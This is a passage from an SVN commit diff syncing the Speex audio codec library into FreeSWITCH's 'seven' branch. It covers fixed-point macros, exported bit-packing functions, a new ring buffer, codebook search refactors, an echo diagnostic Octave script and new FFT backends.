 #define MAX32(a,b) ((a) > (b) ? (a) : (b))   /**< Maximum 32-bit value.   */
 
 #ifdef FIXED_POINT
@@ -64,10 +107,12 @@
 #define LPC_SHIFT    13
 #define LSP_SHIFT    13
 #define SIG_SHIFT    14
+#define GAIN_SHIFT   6
 
 #define VERY_SMALL 0
 #define VERY_LARGE32 ((spx_word32_t)2147483647)
 #define VERY_LARGE16 ((spx_word16_t)32767)
+#define Q15_ONE ((spx_word16_t)32767)
 
 
 #ifdef FIXED_DEBUG
@@ -80,8 +125,6 @@
 #include "fixed_arm5e.h"
 #elif defined (ARM4_ASM)
 #include "fixed_arm4.h"
-#elif defined (ARM5E_ASM)
-#include "fixed_arm5e.h"
 #elif defined (BFIN_ASM)
 #include "fixed_bfin.h"
 #endif
@@ -106,13 +149,11 @@
 #define GAIN_SCALING 1.f
 #define GAIN_SCALING_1 1.f
 
-#define LPC_SHIFT    0
-#define LSP_SHIFT    0
-#define SIG_SHIFT    0
 
 #define VERY_SMALL 1e-15f
 #define VERY_LARGE32 1e15f
 #define VERY_LARGE16 1e15f
+#define Q15_ONE ((spx_word16_t)1.f)
 
 #define QCONST16(x,bits) (x)
 #define QCONST32(x,bits) (x)
@@ -127,6 +168,7 @@
 #define SHL32(a,shift) (a)
 #define PSHR16(a,shift) (a)
 #define PSHR32(a,shift) (a)
+#define VSHR32(a,shift) (a)
 #define SATURATE16(x,a) (x)
 #define SATURATE32(x,a) (x)
 
@@ -147,6 +189,7 @@
 #define MULT16_32_Q13(a,b)     ((a)*(b))
 #define MULT16_32_Q14(a,b)     ((a)*(b))
 #define MULT16_32_Q15(a,b)     ((a)*(b))
+#define MULT16_32_P15(a,b)     ((a)*(b))
 
 #define MAC16_32_Q11(c,a,b)     ((c)+(a)*(b))
 #define MAC16_32_Q15(c,a,b)     ((c)+(a)*(b))
@@ -186,4 +229,11 @@
 
 #endif
 
+
+
+#ifdef FIXED_DEBUG
+extern long long spx_mips;
 #endif
+
+
+#endif

Modified: freeswitch/branches/seven/libs/speex/libspeex/bits.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/bits.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/bits.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,14 +37,15 @@
 #endif
 
 #include <speex/speex_bits.h>
-#include "misc.h"
+#include "arch.h"
+#include "os_support.h"
 
 /* Maximum size of the bit-stream (for fixed-size allocation) */
 #ifndef MAX_CHARS_PER_FRAME
 #define MAX_CHARS_PER_FRAME (2000/BYTES_PER_CHAR)
 #endif
 
-void speex_bits_init(SpeexBits *bits)
+EXPORT void speex_bits_init(SpeexBits *bits)
 {
    bits->chars = (char*)speex_alloc(MAX_CHARS_PER_FRAME);
    if (!bits->chars)
@@ -57,7 +58,7 @@
    speex_bits_reset(bits);
 }
 
-void speex_bits_init_buffer(SpeexBits *bits, void *buff, int buf_size)
+EXPORT void speex_bits_init_buffer(SpeexBits *bits, void *buff, int buf_size)
 {
    bits->chars = (char*)buff;
    bits->buf_size = buf_size;
@@ -67,15 +68,30 @@
    speex_bits_reset(bits);
 }
 
-void speex_bits_destroy(SpeexBits *bits)
+EXPORT void speex_bits_set_bit_buffer(SpeexBits *bits, void *buff, int buf_size)
 {
+   bits->chars = (char*)buff;
+   bits->buf_size = buf_size;
+
+   bits->owner=0;
+
+   bits->nbBits=buf_size<<LOG2_BITS_PER_CHAR;
+   bits->charPtr=0;
+   bits->bitPtr=0;
+   bits->overflow=0;
+   
+}
+
+EXPORT void speex_bits_destroy(SpeexBits *bits)
+{
    if (bits->owner)
       speex_free(bits->chars);
    /* Will do something once the allocation is dynamic */
 }
 
-void speex_bits_reset(SpeexBits *bits)
+EXPORT void speex_bits_reset(SpeexBits *bits)
 {
+   /* We only need to clear the first byte now */
    bits->chars[0]=0;
    bits->nbBits=0;
    bits->charPtr=0;
@@ -83,20 +99,20 @@
    bits->overflow=0;
 }
 
-void speex_bits_rewind(SpeexBits *bits)
+EXPORT void speex_bits_rewind(SpeexBits *bits)
 {
    bits->charPtr=0;
    bits->bitPtr=0;
    bits->overflow=0;
 }
 
-void speex_bits_read_from(SpeexBits *bits, char *chars, int len)
+EXPORT void speex_bits_read_from(SpeexBits *bits, char *chars, int len)
 {
    int i;
    int nchars = len / BYTES_PER_CHAR;
    if (nchars > bits->buf_size)
    {
-      speex_warning_int("Packet is larger than allocated buffer: ", len);
+      speex_notify("Packet is larger than allocated buffer");
       if (bits->owner)
       {
          char *tmp = (char*)speex_realloc(bits->chars, nchars);
@@ -109,7 +125,7 @@
             speex_warning("Could not resize input buffer: truncating input");
          }
       } else {
-         speex_warning("Do not own input buffer: truncating input");
+         speex_warning("Do not own input buffer: truncating oversize input");
          nchars=bits->buf_size;
       }
    }
@@ -130,18 +146,14 @@
 
 static void speex_bits_flush(SpeexBits *bits)
 {
-   int i;
    int nchars = ((bits->nbBits+BITS_PER_CHAR-1)>>LOG2_BITS_PER_CHAR);
    if (bits->charPtr>0)
-   {
-     for (i=bits->charPtr;i<nchars; i++) 
-       bits->chars[i-bits->charPtr]=bits->chars[i];
-   }
+      SPEEX_MOVE(bits->chars, &bits->chars[bits->charPtr], nchars-bits->charPtr);
    bits->nbBits -= bits->charPtr<<LOG2_BITS_PER_CHAR;
    bits->charPtr=0;
 }
 
-void speex_bits_read_whole_bytes(SpeexBits *bits, char *chars, int nbytes)
+EXPORT void speex_bits_read_whole_bytes(SpeexBits *bits, char *chars, int nbytes)
 {
    int i,pos;
    int nchars = nbytes/BYTES_PER_CHAR;
@@ -158,10 +170,10 @@
             bits->chars=tmp;
          } else {
             nchars=bits->buf_size-(bits->nbBits>>LOG2_BITS_PER_CHAR)-1;
-            speex_warning("Could not resize input buffer: truncating input");
+            speex_warning("Could not resize input buffer: truncating oversize input");
          }
       } else {
-         speex_warning("Do not own input buffer: truncating input");
+         speex_warning("Do not own input buffer: truncating oversize input");
          nchars=bits->buf_size;
       }
    }
@@ -173,7 +185,7 @@
    bits->nbBits+=nchars<<LOG2_BITS_PER_CHAR;
 }
 
-int speex_bits_write(SpeexBits *bits, char *chars, int max_nbytes)
+EXPORT int speex_bits_write(SpeexBits *bits, char *chars, int max_nbytes)
 {
    int i;
    int max_nchars = max_nbytes/BYTES_PER_CHAR;
@@ -196,7 +208,7 @@
    return max_nchars*BYTES_PER_CHAR;
 }
 
-int speex_bits_write_whole_bytes(SpeexBits *bits, char *chars, int max_nbytes)
+EXPORT int speex_bits_write_whole_bytes(SpeexBits *bits, char *chars, int max_nbytes)
 {
    int max_nchars = max_nbytes/BYTES_PER_CHAR;
    int i;
@@ -209,27 +221,24 @@
       bits->chars[0]=bits->chars[max_nchars];
    else
       bits->chars[0]=0;
-   for (i=1;i<((bits->nbBits)>>LOG2_BITS_PER_CHAR)+1;i++)
-      bits->chars[i]=0;
    bits->charPtr=0;
    bits->nbBits &= (BITS_PER_CHAR-1);
    return max_nchars*BYTES_PER_CHAR;
 }
 
-void speex_bits_pack(SpeexBits *bits, int data, int nbBits)
+EXPORT void speex_bits_pack(SpeexBits *bits, int data, int nbBits)
 {
    unsigned int d=data;
 
    if (bits->charPtr+((nbBits+bits->bitPtr)>>LOG2_BITS_PER_CHAR) >= bits->buf_size)
    {
-      speex_warning("Buffer too small to pack bits");
+      speex_notify("Buffer too small to pack bits");
       if (bits->owner)
       {
-	int new_nchars = ((bits->buf_size+5)*3)>>1;
+         int new_nchars = ((bits->buf_size+5)*3)>>1;
          char *tmp = (char*)speex_realloc(bits->chars, new_nchars);
          if (tmp)
          {
-	    speex_memset_bytes(tmp, 0, new_nchars);
             bits->buf_size=new_nchars;
             bits->chars=tmp;
          } else {
@@ -260,7 +269,7 @@
    }
 }
 
-int speex_bits_unpack_signed(SpeexBits *bits, int nbBits)
+EXPORT int speex_bits_unpack_signed(SpeexBits *bits, int nbBits)
 {
    unsigned int d=speex_bits_unpack_unsigned(bits,nbBits);
    /* If number is negative */
@@ -271,7 +280,7 @@
    return d;
 }
 
-unsigned int speex_bits_unpack_unsigned(SpeexBits *bits, int nbBits)
+EXPORT unsigned int speex_bits_unpack_unsigned(SpeexBits *bits, int nbBits)
 {
    unsigned int d=0;
    if ((bits->charPtr<<LOG2_BITS_PER_CHAR)+bits->bitPtr+nbBits>bits->nbBits)
@@ -293,7 +302,7 @@
    return d;
 }
 
-unsigned int speex_bits_peek_unsigned(SpeexBits *bits, int nbBits)
+EXPORT unsigned int speex_bits_peek_unsigned(SpeexBits *bits, int nbBits)
 {
    unsigned int d=0;
    int bitPtr, charPtr;
@@ -322,7 +331,7 @@
    return d;
 }
 
-int speex_bits_peek(SpeexBits *bits)
+EXPORT int speex_bits_peek(SpeexBits *bits)
 {
    if ((bits->charPtr<<LOG2_BITS_PER_CHAR)+bits->bitPtr+1>bits->nbBits)
       bits->overflow=1;
@@ -331,7 +340,7 @@
    return (bits->chars[bits->charPtr]>>(BITS_PER_CHAR-1 - bits->bitPtr))&1;
 }
 
-void speex_bits_advance(SpeexBits *bits, int n)
+EXPORT void speex_bits_advance(SpeexBits *bits, int n)
 {
     if (((bits->charPtr<<LOG2_BITS_PER_CHAR)+bits->bitPtr+n>bits->nbBits) || bits->overflow){
       bits->overflow=1;
@@ -341,7 +350,7 @@
    bits->bitPtr = (bits->bitPtr+n) & (BITS_PER_CHAR-1);       /* modulo by BITS_PER_CHAR */
 }
 
-int speex_bits_remaining(SpeexBits *bits)
+EXPORT int speex_bits_remaining(SpeexBits *bits)
 {
    if (bits->overflow)
       return -1;
@@ -349,12 +358,12 @@
       return bits->nbBits-((bits->charPtr<<LOG2_BITS_PER_CHAR)+bits->bitPtr);
 }
 
-int speex_bits_nbytes(SpeexBits *bits)
+EXPORT int speex_bits_nbytes(SpeexBits *bits)
 {
    return ((bits->nbBits+BITS_PER_CHAR-1)>>LOG2_BITS_PER_CHAR);
 }
 
-void speex_bits_insert_terminator(SpeexBits *bits)
+EXPORT void speex_bits_insert_terminator(SpeexBits *bits)
 {
    if (bits->bitPtr)
       speex_bits_pack(bits, 0, 1);

Copied: freeswitch/branches/seven/libs/speex/libspeex/buffer.c (from rev 14471, freeswitch/trunk/libs/speex/libspeex/buffer.c) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/buffer.c	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/libspeex/buffer.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,176 @@
+/* Copyright (C) 2007 Jean-Marc Valin
+      
+   File: buffer.c
+   This is a very simple ring buffer implementation. It is not thread-safe
+   so you need to do your own locking.
+
+   Redistribution and use in source and binary forms, with or without
+   modification, are permitted provided that the following conditions are
+   met:
+
+   1. Redistributions of source code must retain the above copyright notice,
+   this list of conditions and the following disclaimer.
+
+   2. Redistributions in binary form must reproduce the above copyright
+   notice, this list of conditions and the following disclaimer in the
+   documentation and/or other materials provided with the distribution.
+
+   3. The name of the author may not be used to endorse or promote products
+   derived from this software without specific prior written permission.
+
+   THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR
+   IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES
+   OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+   DISCLAIMED. IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT,
+   INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES
+   (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+   SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION)
+   HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT,
+   STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN
+   ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
+   POSSIBILITY OF SUCH DAMAGE.
+*/
+
+#ifdef HAVE_CONFIG_H
+#include "config.h"
+#endif
+
+
+#include "os_support.h"
+#include "arch.h"
+#include <speex/speex_buffer.h>
+
+struct SpeexBuffer_ {
+   char *data;
+   int   size;
+   int   read_ptr;
+   int   write_ptr;
+   int   available;
+};
+
+EXPORT SpeexBuffer *speex_buffer_init(int size)
+{
+   SpeexBuffer *st = speex_alloc(sizeof(SpeexBuffer));
+   st->data = speex_alloc(size);
+   st->size = size;
+   st->read_ptr = 0;
+   st->write_ptr = 0;
+   st->available = 0;
+   return st;
+}
+
+EXPORT void speex_buffer_destroy(SpeexBuffer *st)
+{
+   speex_free(st->data);
+   speex_free(st);
+}
+
+EXPORT int speex_buffer_write(SpeexBuffer *st, void *_data, int len)
+{
+   int end;
+   int end1;
+   char *data = _data;
+   if (len > st->size)
+   {
+      data += len-st->size;
+      len = st->size;
+   }
+   end = st->write_ptr + len;
+   end1 = end;
+   if (end1 > st->size)
+      end1 = st->size;
+   SPEEX_COPY(st->data + st->write_ptr, data, end1 - st->write_ptr);
+   if (end > st->size)
+   {
+      end -= st->size;
+      SPEEX_COPY(st->data, data+end1 - st->write_ptr, end);
+   }
+   st->available += len;
+   if (st->available > st->size)
+   {
+      st->available = st->size;
+      st->read_ptr = st->write_ptr;
+   }
+   st->write_ptr += len;
+   if (st->write_ptr > st->size)
+      st->write_ptr -= st->size;
+   return len;
+}
+
+EXPORT int speex_buffer_writezeros(SpeexBuffer *st, int len)
+{
+   /* This is almost the same as for speex_buffer_write() but using 
+   SPEEX_MEMSET() instead of SPEEX_COPY(). Update accordingly. */
+   int end;
+   int end1;
+   if (len > st->size)
+   {
+      len = st->size;
+   }
+   end = st->write_ptr + len;
+   end1 = end;
+   if (end1 > st->size)
+      end1 = st->size;
+   SPEEX_MEMSET(st->data + st->write_ptr, 0, end1 - st->write_ptr);
+   if (end > st->size)
+   {
+      end -= st->size;
+      SPEEX_MEMSET(st->data, 0, end);
+   }
+   st->available += len;
+   if (st->available > st->size)
+   {
+      st->available = st->size;
+      st->read_ptr = st->write_ptr;
+   }
+   st->write_ptr += len;
+   if (st->write_ptr > st->size)
+      st->write_ptr -= st->size;
+   return len;
+}
+
+EXPORT int speex_buffer_read(SpeexBuffer *st, void *_data, int len)
+{
+   int end, end1;
+   char *data = _data;
+   if (len > st->available)
+   {
+      SPEEX_MEMSET(data+st->available, 0, st->size-st->available);
+      len = st->available;
+   }
+   end = st->read_ptr + len;
+   end1 = end;
+   if (end1 > st->size)
+      end1 = st->size;
+   SPEEX_COPY(data, st->data + st->read_ptr, end1 - st->read_ptr);
+
+   if (end > st->size)
+   {
+      end -= st->size;
+      SPEEX_COPY(data+end1 - st->read_ptr, st->data, end);
+   }
+   st->available -= len;
+   st->read_ptr += len;
+   if (st->read_ptr > st->size)
+      st->read_ptr -= st->size;
+   return len;
+}
+
+EXPORT int speex_buffer_get_available(SpeexBuffer *st)
+{
+   return st->available;
+}
+
+EXPORT int speex_buffer_resize(SpeexBuffer *st, int len)
+{
+   int old_len = st->size;
+   if (len > old_len)
+   {
+      st->data = speex_realloc(st->data, len);
+      /* FIXME: move data/pointers properly for growing the buffer */
+   } else {
+      /* FIXME: move data/pointers properly for shrinking the buffer */
+      st->data = speex_realloc(st->data, len);
+   }
+   return len;
+}

Modified: freeswitch/branches/seven/libs/speex/libspeex/cb_search.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/cb_search.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/cb_search.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -37,7 +37,9 @@
 #include "filters.h"
 #include "stack_alloc.h"
 #include "vq.h"
-#include "misc.h"
+#include "arch.h"
+#include "math_approx.h"
+#include "os_support.h"
 
 #ifdef _USE_SSE
 #include "cb_search_sse.h"
@@ -146,8 +148,7 @@
    ALLOC(e, nsf, spx_sig_t);
    
    /* FIXME: Do we still need to copy the target? */
-   for (i=0;i<nsf;i++)
-      t[i]=target[i];
+   SPEEX_COPY(t, target, nsf);
 
    compute_weighted_codebook(shape_cb, r, resp, resp2, E, shape_cb_size, subvect_size, stack);
 
@@ -181,7 +182,7 @@
                t[subvect_size*i+m] = ADD16(t[subvect_size*i+m], res[m]);
 
 #ifdef FIXED_POINT
-         if (sign)
+         if (sign==1)
          {
             for (j=0;j<subvect_size;j++)
                e[subvect_size*i+j]=SHL32(EXTEND32(shape_cb[rind*subvect_size+j]),SIG_SHIFT-5);
@@ -226,11 +227,13 @@
    /* Update target: only update target if necessary */
    if (update_target)
    {
-      VARDECL(spx_sig_t *r2);
-      ALLOC(r2, nsf, spx_sig_t);
-      syn_percep_zero(e, ak, awk1, awk2, r2, nsf,p, stack);
+      VARDECL(spx_word16_t *r2);
+      ALLOC(r2, nsf, spx_word16_t);
       for (j=0;j<nsf;j++)
-         target[j]=SUB16(target[j],EXTRACT16(PSHR32(r2[j],8)));
+         r2[j] = EXTRACT16(PSHR32(e[j] ,6));
+      syn_percep_zero16(r2, ak, awk1, awk2, r2, nsf,p, stack);
+      for (j=0;j<nsf;j++)
+         target[j]=SUB16(target[j],PSHR16(r2[j],2));
    }
 }
 
@@ -263,7 +266,6 @@
 #endif
    VARDECL(spx_word16_t *t);
    VARDECL(spx_sig_t *e);
-   VARDECL(spx_sig_t *r2);
    VARDECL(spx_word16_t *tmp);
    VARDECL(spx_word32_t *ndist);
    VARDECL(spx_word32_t *odist);
@@ -316,7 +318,6 @@
 #endif
    ALLOC(t, nsf, spx_word16_t);
    ALLOC(e, nsf, spx_sig_t);
-   ALLOC(r2, nsf, spx_sig_t);
    ALLOC(ind, nb_subvect, int);
 
    ALLOC(tmp, 2*N*nsf, spx_word16_t);
@@ -341,11 +342,10 @@
       oind[i]=itmp+(2*i+1)*nb_subvect;
    }
    
-   for (i=0;i<nsf;i++)
-      t[i]=target[i];
+   SPEEX_COPY(t, target, nsf);
 
    for (j=0;j<N;j++)
-      speex_move(&ot[j][0], t, nsf*sizeof(spx_word16_t));
+      SPEEX_COPY(&ot[j][0], t, nsf);
 
    /* Pre-compute codewords response and energy */
    compute_weighted_codebook(shape_cb, r, resp, resp2, E, shape_cb_size, subvect_size, stack);
@@ -359,7 +359,11 @@
       /*"erase" nbest list*/
       for (j=0;j<N;j++)
          ndist[j]=VERY_LARGE32;
-
+      /* This is not strictly necessary, but it provides an additonal safety 
+         to prevent crashes in case something goes wrong in the previous
+         steps (e.g. NaNs) */
+      for (j=0;j<N;j++)
+         best_nind[j] = best_ntarget[j] = 0;
       /*For all n-bests of previous subvector*/
       for (j=0;j<N;j++)
       {
@@ -397,6 +401,7 @@
                         best_nind[n] = best_nind[n-1];
                         best_ntarget[n] = best_ntarget[n-1];
                      }
+                     /* n is equal to m here, so they're interchangeable */
                      ndist[m] = err;
                      best_nind[n] = best_index[k];
                      best_ntarget[n] = j;
@@ -495,9 +500,13 @@
    /* Update target: only update target if necessary */
    if (update_target)
    {
-      syn_percep_zero(e, ak, awk1, awk2, r2, nsf,p, stack);
+      VARDECL(spx_word16_t *r2);
+      ALLOC(r2, nsf, spx_word16_t);
       for (j=0;j<nsf;j++)
-         target[j]=SUB16(target[j],EXTRACT16(PSHR32(r2[j],8)));
+         r2[j] = EXTRACT16(PSHR32(e[j] ,6));
+      syn_percep_zero16(r2, ak, awk1, awk2, r2, nsf,p, stack);
+      for (j=0;j<nsf;j++)
+         target[j]=SUB16(target[j],PSHR16(r2[j],2));
    }
 }
 
@@ -577,16 +586,13 @@
 )
 {
    int i;
-   VARDECL(spx_sig_t *tmp);
-   ALLOC(tmp, nsf, spx_sig_t);
-   for (i=0;i<nsf;i++)
-      tmp[i]=PSHR32(EXTEND32(target[i]),SIG_SHIFT);
-   residue_percep_zero(tmp, ak, awk1, awk2, tmp, nsf, p, stack);
+   VARDECL(spx_word16_t *tmp);
+   ALLOC(tmp, nsf, spx_word16_t);
+   residue_percep_zero16(target, ak, awk1, awk2, tmp, nsf, p, stack);
 
    for (i=0;i<nsf;i++)
-      exc[i]+=tmp[i];
-   for (i=0;i<nsf;i++)
-      target[i]=0;
+      exc[i]+=SHL32(EXTEND32(tmp[i]),8);
+   SPEEX_MEMSET(target, 0, nsf);
 }
 
 

Modified: freeswitch/branches/seven/libs/speex/libspeex/cb_search.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/cb_search.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/cb_search.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,7 +36,7 @@
 #define CB_SEARCH_H
 
 #include <speex/speex_bits.h>
-#include "misc.h"
+#include "arch.h"
 
 /** Split codebook parameters. */
 typedef struct split_cb_params {

Modified: freeswitch/branches/seven/libs/speex/libspeex/cb_search_bfin.h (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/cb_search_bfin.h	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/cb_search_bfin.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -73,7 +73,10 @@
          :
       : "m" (subvect_size), "m" (shape_cb), "m" (r), "m" (resp), "m" (E)
       : "A0", "P0", "P1", "P2", "P3", "P4", "R0", "R1", "R2", "I0", "I1", "L0", 
-        "L1", "A0", "A1", "memory", "LC0", "LC1"
+        "L1", "A0", "A1", "memory"
+#if !(__GNUC__ == 3)
+         , "LC0", "LC1" /* gcc 3.4 doesn't know about LC registers */
+#endif
       );
       shape_cb += subvect_size;
       resp += subvect_size;

Copied: freeswitch/branches/seven/libs/speex/libspeex/echo_diagnostic.m (from rev 14471, freeswitch/trunk/libs/speex/libspeex/echo_diagnostic.m) (0 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/echo_diagnostic.m	                        (rev 0)
+++ freeswitch/branches/seven/libs/speex/libspeex/echo_diagnostic.m	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,72 @@
+% Attempts to diagnose AEC problems from recorded samples
+%
+% out = echo_diagnostic(rec_file, play_file, out_file, tail_length)
+%
+% Computes the full matrix inversion to cancel echo from the 
+% recording 'rec_file' using the far end signal 'play_file' using 
+% a filter length of 'tail_length'. The output is saved to 'out_file'.
+function out = echo_diagnostic(rec_file, play_file, out_file, tail_length)
+
+F=fopen(rec_file,'rb');
+rec=fread(F,Inf,'short');
+fclose (F);
+F=fopen(play_file,'rb');
+play=fread(F,Inf,'short');
+fclose (F);
+
+rec = [rec; zeros(1024,1)];
+play = [play; zeros(1024,1)];
+
+N = length(rec);
+corr = real(ifft(fft(rec).*conj(fft(play))));
+acorr = real(ifft(fft(play).*conj(fft(play))));
+
+[a,b] = max(corr);
+
+if b > N/2
+      b = b-N;
+end
+printf ("Far end to near end delay is %d samples\n", b);
+if (b > .3*tail_length)
+      printf ('This is too much delay, try delaying the far-end signal a bit\n');
+else if (b < 0)
+      printf ('You have a negative delay, the echo canceller has no chance to cancel anything!\n');
+   else
+      printf ('Delay looks OK.\n');
+      end
+   end
+end
+N2 = round(N/2);
+corr1 = real(ifft(fft(rec(1:N2)).*conj(fft(play(1:N2)))));
+corr2 = real(ifft(fft(rec(N2+1:end)).*conj(fft(play(N2+1:end)))));
+
+[a,b1] = max(corr1);
+if b1 > N2/2
+      b1 = b1-N2;
+end
+[a,b2] = max(corr2);
+if b2 > N2/2
+      b2 = b2-N2;
+end
+drift = (b1-b2)/N2;
+printf ('Drift estimate is %f%% (%d samples)\n', 100*drift, b1-b2);
+if abs(b1-b2) < 10
+   printf ('A drift of a few (+-10) samples is normal.\n');
+else
+   if abs(b1-b2) < 30
+      printf ('There may be (not sure) excessive clock drift. Is the capture and playback done on the same soundcard?\n');
+   else
+      printf ('Your clock is drifting! No way the AEC will be able to do anything with that. Most likely, you''re doing capture and playback from two different cards.\n');
+      end
+   end
+end
+acorr(1) = .001+1.00001*acorr(1);
+AtA = toeplitz(acorr(1:tail_length));
+bb = corr(1:tail_length);
+h = AtA\bb;
+
+out = (rec - filter(h, 1, play));
+
+F=fopen(out_file,'w');
+fwrite(F,out,'short');
+fclose (F);

Modified: freeswitch/branches/seven/libs/speex/libspeex/fftwrap.c (14471 => 14472)


--- freeswitch/branches/seven/libs/speex/libspeex/fftwrap.c	2009-08-09 05:55:48 UTC (rev 14471)
+++ freeswitch/branches/seven/libs/speex/libspeex/fftwrap.c	2009-08-09 18:53:22 UTC (rev 14472)
@@ -36,12 +36,9 @@
 #include "config.h"
 #endif
 
-/*#define USE_SMALLFT*/
-#define USE_KISS_FFT
+#include "arch.h"
+#include "os_support.h"
 
-
-#include "misc.h"
-
 #define MAX_FFT_SIZE 2048
 
 #ifdef FIXED_POINT
@@ -64,7 +61,7 @@
    }
    for (i=0;i<len;i++)
    {
-      out[i] = in[i] << shift;
+      out[i] = SHL16(in[i], shift);
    }   
    return shift;
 }
@@ -74,7 +71,7 @@
    int i;
    for (i=0;i<len;i++)
    {
-      out[i] = (in[i] + (1<<(shift-1))) >> shift;
+      out[i] = PSHR16(in[i], shift);
    }
 }
 #endif
@@ -103,8 +100,8 @@
    if (in==out)
    {
       int i;
+      float scale = 1./((struct drft_lookup *)table)->n;
       speex_warning("FFT should not be done in-place");
-      float scale = 1./((struct drft_lookup *)table)->n;
       for (i=0;i<((struct drft_lookup *)table)->n;i++)
          out[i] = scale*in[i];
    } else {
@@ -120,7 +117,6 @@
 {
    if (in==out)
    {
-      int i;
       speex_warning("FFT should not be done in-place");
    } else {
       int i;
@@ -130,6 +126,119 @@
    spx_drft_backward((struct drft_lookup *)table, out);
 }
 
+#elif defined(USE_INTEL_MKL)
+#include <mkl.h>
+
+struct mkl_config {
+  DFTI_DESCRIPTOR_HANDLE desc;
+  int N;
+};
+
+void *spx_fft_init(int size)
+{
+  struct mkl_config *table = (struct mkl_config *) speex_alloc(sizeof(struct mkl_config));
+  table->N = size;
+  DftiCreateDescriptor(&table->desc, DFTI_SINGLE, DFTI_REAL, 1, size);
+  DftiSetValue(table->desc, DFTI_PACKED_FORMAT, DFTI_PACK_FORMAT);
+  DftiSetValue(table->desc, DFTI_PLACEMENT, DFTI_NOT_INPLACE);
+  DftiSetValue(table->desc, DFTI_FORWARD_SCALE, 1.0f / size);
+  DftiCommitDescriptor(table->desc);
+  return table;
+}
+
+void spx_fft_destroy(void *table)
+{
+  struct mkl_config *t = (struct mkl_config *) table;
+  DftiFreeDescriptor(t->desc);
+  speex_free(table);
+}
+
+void spx_fft(void *table, spx_word16_t *in, spx_word16_t *out)
+{
+  struct mkl_config *t = (struct mkl_config *) table;
+  DftiComputeForward(t->desc, in, out);
+}
+
+void spx_ifft(void *table, spx_word16_t *in, spx_word16_t *out)
+{
+  struct mkl_config *t = (struct mkl_config *) table;
+  DftiComputeBackward(t->desc, in, out);
+}
+
+#elif defined(USE_GPL_FFTW3)
+
+#include <fftw3.h>
+
+struct fftw_config {
+  float *in;
+  float *out;
+  fftwf_plan fft;
+  fftwf_plan ifft;
+  int N;
+};
+
+void *spx_fft_init(int size)
+{
+  struct fftw_config *table = (struct fftw_config *) speex_alloc(sizeof(struct fftw_config));
+  table->in = fftwf_malloc(sizeof(float) * (size+2));
+  table->out = fftwf_malloc(sizeof(float) * (size+2));
+
+  table->fft = fftwf_plan_dft_r2c_1d(size, table->in, (fftwf_complex *) table->out, FFTW_PATIENT);
+  table->ifft = fftwf_plan_dft_c2r_1d(size, (fftwf_complex *) table->in, table->out, FFTW_PATIENT);
+
+  table->N = size;
+  return table;
+}
+
+void spx_fft_destroy(void *table)
+{
+  struct fftw_config *t = (struct fftw_config *) table;
+  fftwf_destroy_plan(t->fft);
+  fftwf_destroy_plan(t->ifft);
+  fftwf_free(t->in);
+  fftwf_free(t->out);
+  speex_free(table);
+}
+
+
+void spx_fft(void *table, spx_word16_t *in, spx_word16_t *out)
+{
+  int i;
+  struct fftw_config *t = (struct fftw_config *) table;
+  const int N = t->N;
+  float *iptr = t->in;
+  float *optr = t->out;
+  const float m = 1.0 / N;
+  for(i=0;i<N;++i)
+    iptr[i]=in[i] * m;
+
+  fftwf_execute(t->fft);
+
+  out[0] = optr[0];
+  for(i=1;i<N;++i)
+    out[i] = optr[i+1];
+}
+
+void spx_ifft(void *table, spx_word16_t *in, spx_word16_t *out) 
+{
+  int i;
+  struct fftw_config *t = (struct fftw_config *) table;
+  const int N = t->N;
+  float *iptr = t->in;
+  float *optr = t->out;
+
+  iptr[0] = in[0];
+  iptr[1] = 0.0f;
+  for(i=1;i<N;++i)
+    iptr[i+1] = in[i];
+  iptr[N+1] = 0.0f;
+
+  fftwf_execute(t->ifft);
+  
+  for(i=0;i<N;++i)
+    out[i] = optr[i];
+}
+
 #elif defined(USE_KISS_FFT)
 
 #include "kiss_fftr.h"
@@ -138,7 +247,6 @@
 struct kiss_config {
    kiss_fftr_cfg forward;
    kiss_fftr_cfg backward;
-   kiss_fft_cpx *freq_data;
    int N;
 };
 
@@ -146,7 +254,6 @@
 {
    struct kiss_config *table;
    table = (struct kiss_config*)speex_alloc(sizeof(struct kiss_config));
-   table->freq_data = (kiss_fft_cpx*)speex_alloc(sizeof(kiss_fft_cpx)*((size>>1)+1));
    table->forward = kiss_fftr_alloc(size,0,NULL,NULL);
    table->backward = kiss_fftr_alloc(size,1,NULL,NULL);
    table->N = size;
@@ -158,7 +265,6 @@
    struct kiss_config *t = (struct kiss_config *)table;
    kiss_fftr_free(t->forward);
    kiss_fftr_free(t->backward);
-   speex_free(t->freq_data);
    speex_free(table);
 }
 
@@ -166,18 +272,10 @@
 
 void spx_fft(void *table, spx_word16_t *in, spx_word16_t *out)
